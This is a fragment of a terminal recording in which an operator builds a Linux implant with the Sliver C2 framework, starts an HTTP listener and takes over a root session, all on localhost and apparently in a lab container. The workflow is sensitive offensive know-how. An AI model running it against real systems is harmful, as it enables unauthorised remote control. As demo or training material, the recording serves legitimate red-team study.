[16.924809, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[17.02678, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[17.127171, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[17.227426, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[17.328042, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[17.428737, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[17.529457, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[17.630094, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[17.732161, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[17.833984, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[17.936291, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[18.039656, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[18.140024, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[18.240869, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[18.341981, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[18.442275, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[18.54297, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[18.643513, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[18.744079, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[18.844525, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[18.945429, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[19.046162, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[19.14703, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[19.247855, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[19.348841, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[19.449544, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[19.550658, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[19.651443, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[19.754965, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[19.855357, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[19.95587, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[20.056202, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[20.157259, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[20.257933, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[20.358934, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[20.459548, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[20.564369, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[20.665382, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[20.767974, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[20.868518, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[20.973375, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[21.07398, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[21.178138, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[21.278962, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[21.379944, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[21.480337, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[21.582121, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[21.684478, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[21.785313, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[21.886096, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[21.987152, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[22.088001, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[22.189108, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[22.289674, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[22.390726, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[22.491814, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[22.592775, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[22.693718, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[22.794642, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[22.895611, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[22.995772, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[23.096369, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[23.198018, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[23.298959, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[23.399174, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[23.502714, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[23.603408, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[23.70356, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[23.804803, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[23.905923, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[24.006679, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[24.108007, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[24.208928, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[24.309787, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[24.410978, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[24.511347, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[24.611956, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[24.712921, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[24.814289, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[24.91523, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[25.016194, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[25.117255, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[25.218339, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[25.319097, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[25.41977, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[25.520035, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[25.62074, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[25.722191, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[25.823081, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[25.923163, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[26.023888, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[26.12481, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[26.225078, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[26.325274, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[26.426144, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[26.527424, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[26.628631, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[26.729415, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[26.830057, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[26.930825, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[27.031493, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[27.132354, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[27.233695, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[27.334517, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[27.43576, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[27.539277, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[27.643729, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[27.744542, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[27.845531, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[27.945804, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[28.050552, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[28.151408, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[28.25216, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[28.352809, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[28.453419, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[28.554095, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[28.656409, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[28.757146, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[28.85769, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[28.958292, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[29.058872, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[29.159389, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[29.263979, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[29.364603, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[29.469129, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[29.570605, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[29.67439, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[29.775243, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[29.875856, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[29.976192, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[30.053071, "o", "\r\u001b[2K"]
[30.053967, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 14s\r\n"]
[30.067739, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/CURRENT_RESIST\r\n"]
[30.067862, "o", "\r\n"]
[30.076528, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[30.077096, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[30.079221, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
[31.082554, "o", "\u001b[?25l"]
[31.098384, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[31.099203, "o", "\u001b[6n"]
[31.102798, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[10D\u001b[9C"]
[31.105621, "o", "\u001b[133D\u001b[10C\u001b[?25h"]
[31.147416, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[31.147602, "o", "\u001b[6n"]
[31.150768, "o", "im\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
[31.400583, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[31.407162, "o", "imp\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C\u001b[?25h"]
[31.439883, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[31.441738, "o", "\u001b[6n"]
[31.446467, "o", "impl\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[13D\u001b[9C\u001b[133D\u001b[13C\u001b[?25h"]
[31.583396, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[31.601804, "o", "impla\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[31.603767, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[14D\u001b[9C\u001b[133D\u001b[14C\u001b[?25h"]
[31.806544, "o", "\u001b[?25l"]
[31.80929, "o", "\u001b[133D"]
[31.810004, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[31.816866, "o", "implan\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[31.817852, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[15D\u001b[9C\u001b[133D\u001b[15C\u001b[?25h"]
[32.008794, "o", "\u001b[?25l\u001b[133D"]
[32.009806, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[32.013126, "o", "implant\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[32.013454, "o", "\u001b[133D\u001b[1A\u001b[16D\u001b[9C\u001b[133D\u001b[16C\u001b[?25h"]
[32.104441, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[32.111943, "o", "\u001b[1m\u001b[32mimplants\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[32.112485, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[17D\u001b[9C\u001b[133D\u001b[17C\u001b[?25h"]
[32.356544, "o", "\u001b[17D\u001b[9C\u001b[6n"]
[32.369004, "o", "\u001b[133D\u001b[17C\u001b[0J\u001b[133D\r\r\n"]
[32.370271, "o", "\u001b[0 q\r\n"]
[32.421383, "o", " Name Implant Type Template OS/Arch Format Command & Control Debug C2 Config ID Stage \r\n================ ============== ========== ============= ============ ======================= ======= =========== ======= =======\r\n ABSENT_CASE session sliver linux/amd64 EXECUTABLE [1] https://localhost true default 19437 false \r\n CURRENT_RESIST session sliver linux/amd64 EXECUTABLE [1] https://localhost true default 14578 false \r\n"]
[32.421644, "o", "\r\n\r\n\r\n"]
[32.438623, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[32.439156, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[32.439495, "o", "\u001b[6n"]
[32.441422, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
[36.663526, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[36.669535, "o", "\u001b[6n"]
[36.672998, "o", "h\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
[36.873517, "o", "\u001b[?25l"]
[36.875463, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[36.880165, "o", "ht\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
[37.047884, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[37.053712, "o", "htt\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[37.054317, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C\u001b[?25h"]
[37.134322, "o", "\u001b[?25l"]
[37.136007, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[37.140393, "o", "\u001b[1m\u001b[32mhttp\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[37.141529, "o", "\u001b[133D\u001b[1A\u001b[13D\u001b[9C\u001b[133D\u001b[13C\u001b[?25h"]
[37.55059, "o", "\u001b[13D\u001b[9C\u001b[6n"]
[37.562464, "o", "\u001b[133D\u001b[13C\u001b[0J\u001b[133D\r\r\n"]
[37.563375, "o", "\u001b[0 q"]
[37.564303, "o", "\r\n"]
[37.576347, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mStarting HTTP :80 listener ...\r\n"]
[38.977973, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mSuccessfully started job #1\r\n"]
[38.97936, "o", "\r\n"]
[38.987122, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[38.987676, "o", "\u001b[6n"]
[38.989198, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[38.989573, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
[40.426627, "o", "\u001b[?25l"]
[40.428614, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.436657, "o", "j\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
[40.558498, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[40.563147, "o", "\u001b[6n"]
[40.568809, "o", "jo\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
[40.683903, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.693959, "o", "job\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[40.6944, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C\u001b[?25h"]
[40.820439, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[40.838956, "o", "\u001b[1m\u001b[32mjobs\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[13D\u001b[9C\u001b[133D\u001b[13C\u001b[?25h"]
[41.050519, "o", "\u001b[13D\u001b[9C"]
[41.052424, "o", "\u001b[6n"]
[41.05543, "o", "\u001b[133D\u001b[13C\u001b[0J\u001b[133D"]
[41.056888, "o", "\r\r\n"]
[41.065261, "o", "\u001b[0 q\r\n"]
[41.068263, "o", " ID Name Protocol Port Domains \r\n==== ====== ========== ====== =========\r\n 1 http tcp 80 \r\n\r\n"]
[41.082206, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[41.083159, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[41.085101, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
[46.576392, "o", "\u001b[9D\u001b[9C\u001b[133D\u001b[0J\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mSession aab17db4 CURRENT_RESIST - 127.0.0.1:57018 (98df0494f659) - linux/amd64 - Wed, 01 May 2024 12:50:22 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[46.577027, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[46.58099, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
[49.50731, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[49.522489, "o", "s\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
[49.524699, "o", "\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
[49.56783, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[49.569706, "o", "\u001b[6n"]
[49.575356, "o", "se\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[49.575726, "o", "\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
[49.732625, "o", "\u001b[?25l"]
[49.740645, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[49.746465, "o", "ses\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C\u001b[?25h"]
[49.965551, "o", "\u001b[1 q"]
[50.00575, "o", "\u001b[1 q\u001b[?25l"]
[50.006394, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[50.00946, "o", "\u001b[1m\u001b[32msessions \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[18D\u001b[9C\u001b[133D\u001b[18C\u001b[?25h"]
[50.477529, "o", "\u001b[18D\u001b[9C"]
[50.479615, "o", "\u001b[6n"]
[50.48143, "o", "\u001b[133D"]
[50.482245, "o", "\u001b[18C\u001b[0J\u001b[133D\r\r\n"]
[50.483253, "o", "\u001b[0 q\r\n"]
[50.506415, "o", " ID Transport Remote Address Hostname Username Operating System Health \r\n========== =========== ================= ============== ========== ================== =========\r\n \u001b[0maab17db4\u001b[0m \u001b[0mhttp(s)\u001b[0m \u001b[0m127.0.0.1:57018\u001b[0m \u001b[0m98df0494f659\u001b[0m \u001b[0mroot\u001b[0m \u001b[0mlinux/amd64\u001b[0m \u001b[1m\u001b[32m[ALIVE]\u001b[0m \r\n"]
[50.507289, "o", "\r\n"]
[50.518471, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[50.518701, "o", "\u001b[1 q"]
[50.519867, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[50.52356, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[9D\u001b[9C\u001b[133D\u001b[9C\u001b[?25h"]
[51.361832, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[51.373437, "o", "\u001b[6n"]
[51.378676, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[51.380281, "o", "\u001b[133D\u001b[1A\u001b[10D\u001b[9C\u001b[133D\u001b[10C\u001b[?25h"]
[51.561476, "o", "\u001b[?25l"]
[51.563647, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[51.566598, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[11D\u001b[9C\u001b[133D\u001b[11C\u001b[?25h"]
[51.652895, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[51.659765, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[51.660431, "o", "\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[12D\u001b[9C\u001b[133D\u001b[12C\u001b[?25h"]
[51.744435, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[51.752027, "o", "\u001b[1m\u001b[32muse \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[51.754754, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[13D\u001b[9C\u001b[133D\u001b[13C\u001b[?25h"]
[52.069917, "o", "\u001b[13D\u001b[9C"]
[52.070633, "o", "\u001b[6n"]
[52.072503, "o", "\u001b[133D\u001b[13C\u001b[0J\u001b[133D\r\r\n"]
[52.072574, "o", "\u001b[0 q"]
[52.072962, "o", "\r\n"]
[52.085557, "o", "\u001b7\u001b[?25l"]
[52.08598, "o", "\u001b8\u001b[0G\u001b[2K"]
[52.090815, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> SESSION aab17db4 CURRENT_RESIST 127.0.0.1:57018 98df0494f659 root linux/amd64\u001b[0m\r\n"]
[52.090951, "o", "\u001b7"]
[52.093491, "o", "\u001b[1A\u001b[0G"]
[52.693655, "o", "\u001b8"]
[52.694191, "o", "\u001b[?25h\u001b8"]
[52.695289, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[52.695799, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m SESSION aab17db4 CURRENT_RESIST 127.0.0.1:57018 98df0494f659 root linux/amd64\u001b[0m\r\n"]
[52.6964, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive session CURRENT_RESIST (aab17db4-0e6f-4e7f-a3e1-11ab464b708b)\r\n"]
[52.738705, "o", "\r\n"]
[52.751338, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[52.751906, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[52.754246, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[26D\u001b[26C\u001b[133D\u001b[26C\u001b[?25h"]
[54.797821, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[54.815698, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D"]
[54.817569, "o", "\u001b[1A\u001b[27D\u001b[26C\u001b[133D\u001b[27C\u001b[?25h"]
[54.890283, "o", "\u001b[?25l\u001b[133D"]
[54.892394, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[54.897915, "o", "in\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A\u001b[28D\u001b[26C\u001b[133D\u001b[28C\u001b[?25h"]
[54.970773, "o", "\u001b[?25l"]
[54.973705, "o", "\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[54.979868, "o", "inf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[54.981652, "o", "\u001b[0J\u001b[133D\u001b[1A\u001b[29D\u001b[26C\u001b[133D\u001b[29C\u001b[?25h"]
[55.118476, "o", "\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > \u001b[6n"]
[55.125875, "o", "\u001b[1m\u001b[32minfo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[133D\u001b[1A"]
[55.129592, "o", "\u001b[30D\u001b[26C\u001b[133D\u001b[30C\u001b[?25h"]
[55.74862, "o", "\u001b[30D\u001b[26C\u001b[6n"]
[55.753894, "o", "\u001b[133D\u001b[30C\u001b[0J\u001b[133D\r\r\n"]
[55.755495, "o", "\u001b[0 q\r\n"]
[55.779941, "o", "\u001b[1m Session ID: \u001b[0maab17db4-0e6f-4e7f-a3e1-11ab464b708b\r\n\u001b[1m Name: \u001b[0mCURRENT_RESIST\r\n\u001b[1m Hostname: \u001b[0m98df0494f659\r\n\u001b[1m UUID: \u001b[0m3424b72e-e104-e99b-e183-dc60a7b751a0\r\n"]
[55.781949, "o", "\u001b[1m Username: \u001b[0mroot\r\n\u001b[1m UID: \u001b[0m0\r\n\u001b[1m GID: \u001b[0m0\r\n\u001b[1m PID: \u001b[0m7111\r\n\u001b[1m OS: \u001b[0mlinux\r\n"]
[55.783289, "o", "\u001b[1m Version: \u001b[0mLinux 98df0494f659 5.10.76-linuxkit\r\n\u001b[1m Locale: \u001b[0m\r\n\u001b[1m Arch: \u001b[0mamd64\r\n\u001b[1m Active C2: \u001b[0mhttps://localhost\r\n\u001b[1m Remote Address: \u001b[0m127.0.0.1:57018\r\n\u001b[1m Proxy URL: \u001b[0m\r\n\u001b[1mReconnect Interval: \u001b[0m1m0s\r\n"]
[55.784979, "o", "\u001b[1m First Contact: \u001b[0mWed May 1 12:50:22 UTC 2024 (10s ago)\r\n"]
[55.786374, "o", "\u001b[1m Last Checkin: \u001b[0mWed May 1 12:50:29 UTC 2024 (3s ago)\r\n\r\n"]
[55.803524, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[55.804204, "o", "\u001b[1 q\u001b[?25l\u001b[133D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[31m (CURRENT_RESIST)\u001b[0m > "]
[55.804811, "o", "\u001b[6n"]
